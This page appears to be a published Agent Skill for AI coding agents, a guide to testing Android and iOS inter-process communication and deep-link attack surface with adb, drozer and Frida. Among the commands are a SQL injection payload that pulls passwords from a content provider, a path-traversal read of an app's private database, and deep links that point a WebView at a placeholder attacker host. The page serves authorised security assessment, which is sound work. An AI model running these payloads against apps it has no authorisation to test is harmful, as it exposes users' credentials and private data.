# Testing Mobile Ipc

> Test mobile inter-process communication and deep link attack surface — exported Android activities, services, receivers and content providers, intent redirection, PendingIntent hijacking, App Links verification, iOS custom URL schemes, Universal Links, and App Groups — using drozer, adb, and Frida. Use when reviewing AndroidManifest.xml exported components, testing deeplinks or URL schemes, or assessing what another app on the device can reach.

- Skill: `trilwu/testing-mobile-ipc` (Agent Skill)
- Install (CLI): `npx skillmds add trilwu/testing-mobile-ipc`
- Raw SKILL.md: https://api.skillmd.com/api/skills/trilwu/testing-mobile-ipc/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: trilwu (https://skillmd.com/u/trilwu)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/trilwu/testing-mobile-ipc

---


# Testing Mobile IPC and Deep Links

Every exported component and registered URL scheme is a remote entry point that
does not need the network. A malicious app on the same device — or a web page
the user visits — can invoke them directly, and they are frequently written as
if only the app itself would ever call them.

## When to Use

- Reviewing `AndroidManifest.xml` for exported components
- Testing deep links, App Links, custom URL schemes, or Universal Links
- Assessing content provider and broadcast receiver exposure
- Checking `PendingIntent`, intent redirection, and App Group sharing
- Answering "what can another app on this device do to this one?"

## When NOT to Use

- **Network API testing** — use `testing-apis`
- **Binary-level reversing** — use `analyzing-ios-binaries` or the relevant
  `reversing-*` skill
- **TLS or detection problems blocking you** — use `bypassing-mobile-pinning`
  or `bypassing-root-jailbreak-detection` first
- **The wider assessment** — use `testing-mobile-applications`

## Android: Enumerate the Surface

```bash
apktool d target.apk -o out
# Every component with exported=true, or with an intent-filter and no explicit
# exported attribute on older targetSdk (which defaults to exported)
rg -n 'android:exported="true"|<intent-filter>' -B3 out/AndroidManifest.xml

# Live enumeration
adb shell dumpsys package com.target.app | rg -A3 'Activity Resolver|Receiver Resolver|Service Resolver|Provider'
drozer console connect
#   run app.package.attacksurface com.target.app
#   run app.activity.info -a com.target.app
#   run app.provider.info -a com.target.app
```

**`android:exported` defaults changed** — apps targeting API 31+ must declare
it explicitly, but a component with an intent-filter on an older target is
exported implicitly. Check `targetSdkVersion` before concluding a component is
private.

Also check **permission protection levels**. A component "protected" by a
custom permission declared with `protectionLevel="normal"` is protected by
nothing: any app can request and receive it without user interaction.

```bash
rg -n 'permission android:name|protectionLevel' out/AndroidManifest.xml
```

## Android: Test Each Component Type

```bash
# Activities — can an unauthenticated screen be launched directly?
adb shell am start -n com.target.app/.SomeActivity
adb shell am start -a android.intent.action.VIEW -d "myapp://path?param=value"
adb shell am start -n com.target.app/.WebActivity --es url "https://attacker.example"

# Services
adb shell am startservice -n com.target.app/.ExportedService --es cmd value

# Broadcast receivers
adb shell am broadcast -a com.target.app.ACTION_X --es data value

# Content providers — the highest-yield target
adb shell content query --uri content://com.target.app.provider/users
adb shell content query --uri content://com.target.app.provider/users \
  --where "1=1) UNION SELECT password FROM creds--"
adb shell content read --uri content://com.target.app.provider/files/../../databases/app.db
```

Content providers deserve specific attention because two classic bugs recur:

- **SQL injection** through the `selection`/`projection` arguments, which are
  concatenated into the query far more often than in server code.
- **Path traversal** in `openFile()`, where a provider that serves files from
  its own directory does not canonicalize the requested path, giving any app on
  the device read access to the app's private storage.

## Android: The High-Impact Patterns

**Intent redirection (the "confused deputy" of Android).** An exported
component takes an `Intent` as an *extra* and then starts it. The caller
supplies the inner intent, so it executes with the victim app's identity —
reaching its non-exported components and its permissions.

```bash
rg -n 'getParcelableExtra.*Intent|startActivity\(.*getIntent\(\).*Extra' out/smali*
# Exploit shape: outer intent → exported component → inner intent → private component
```

**PendingIntent hijacking.** A `PendingIntent` created with an implicit base
intent, or without `FLAG_IMMUTABLE`, lets the receiving app fill in the blanks
and cause an action with the sender's identity.

```bash
rg -n 'PendingIntent.get(Activity|Broadcast|Service)' -A3 out/smali*
# Findings: FLAG_MUTABLE (or no flag pre-API-31) plus an implicit base intent
```

**Deep link to WebView.** A deep link parameter that becomes a `loadUrl()`
target turns any web page into a way to render attacker content inside the
app's WebView — with its cookies, its JS bridges, and its file access.

```bash
adb shell am start -a android.intent.action.VIEW -d "myapp://open?url=https://attacker.example"
rg -n 'loadUrl|addJavascriptInterface|setAllowFileAccess|setJavaScriptEnabled' out/smali*
```

**App Links verification.** `autoVerify="true"` only works if
`https://domain/.well-known/assetlinks.json` is correct and reachable. When
verification fails, the link degrades to a disambiguation dialog that another
app can also claim.

```bash
curl -s https://target.example/.well-known/assetlinks.json | jq .
adb shell pm get-app-links com.target.app
```

## iOS

```bash
# Declared URL schemes and associated domains
plutil -p Payload/TargetApp.app/Info.plist | rg -A5 'CFBundleURLSchemes'
codesign -d --entitlements :- Payload/TargetApp.app | rg -A3 'associated-domains|application-groups'

# Trigger a scheme
xcrun simctl openurl booted "myapp://path?param=value"
# On device: open the URL from Safari or Notes
```

**Custom URL schemes are unauthenticated and claimable.** Any app can register
`myapp://`, and if two do, the winner is undefined. Anything reached through a
custom scheme must be treated as attacker-invoked. Universal Links are the
verified alternative:

```bash
curl -s https://target.example/.well-known/apple-app-site-association | jq .
# Must be served over HTTPS, no redirect, correct app ID, correct paths
```

Also check:

- **App Groups** — a shared container between the app and its extensions. Data
  written there is readable by every member, including a weakly-reviewed
  keyboard or share extension.
- **Keychain access groups** — over-broad sharing across an app family.
- **Pasteboard** — the general pasteboard is readable by any app; credentials
  and tokens copied there leak.
- **`application:openURL:options:`** — check whether the handler validates the
  source application and the URL's parameters before acting.

## What Makes It a Finding

Invoking a component is not itself a finding. The finding is what it lets an
unprivileged local app do:

1. **Reach a privileged action without authentication** — a transfer screen, a
   settings change, an account action reachable by deep link past the login gate
2. **Read data it should not** — provider query returning other users' rows, or
   traversal into private storage
3. **Act as the victim app** — intent redirection or PendingIntent hijack
4. **Render attacker content in a trusted context** — WebView with a JS bridge
5. **Leak secrets to the caller** — tokens returned in an activity result,
   written to a shared container, or logged

Test whether the deep link path skips authentication specifically: launch the
target component with the app logged out, and again with a different account.

## Rationalizations to Reject

- *"It's exported but it needs a permission."* Check the protection level.
  `normal` is granted automatically.
- *"Only our own app calls it."* Anything exported is callable by any app, and
  by the browser if it has an intent-filter.
- *"The deep link needs a valid token in the URL."* Test it. Tokens in deep
  links are frequently unvalidated, reusable, or leak through referrer headers.
- *"It's not exported."* Confirm against `targetSdkVersion`, and check whether
  intent redirection reaches it anyway.
- *"iOS URL schemes are fine, we validate the input."* Validate the *caller*
  too — schemes are unauthenticated and claimable by any app.
- *"The provider is read-only."* Read is the finding when the rows belong to
  someone else.

## References

- `testing-mobile-applications` — the wider assessment
- `testing-apis` — the backend those components ultimately call
- `analyzing-ios-binaries` — entitlements and App Group enumeration
- `reporting-security-findings` — severity for local-attacker findings
- drozer, adb, apktool, jadx, objection, Frida

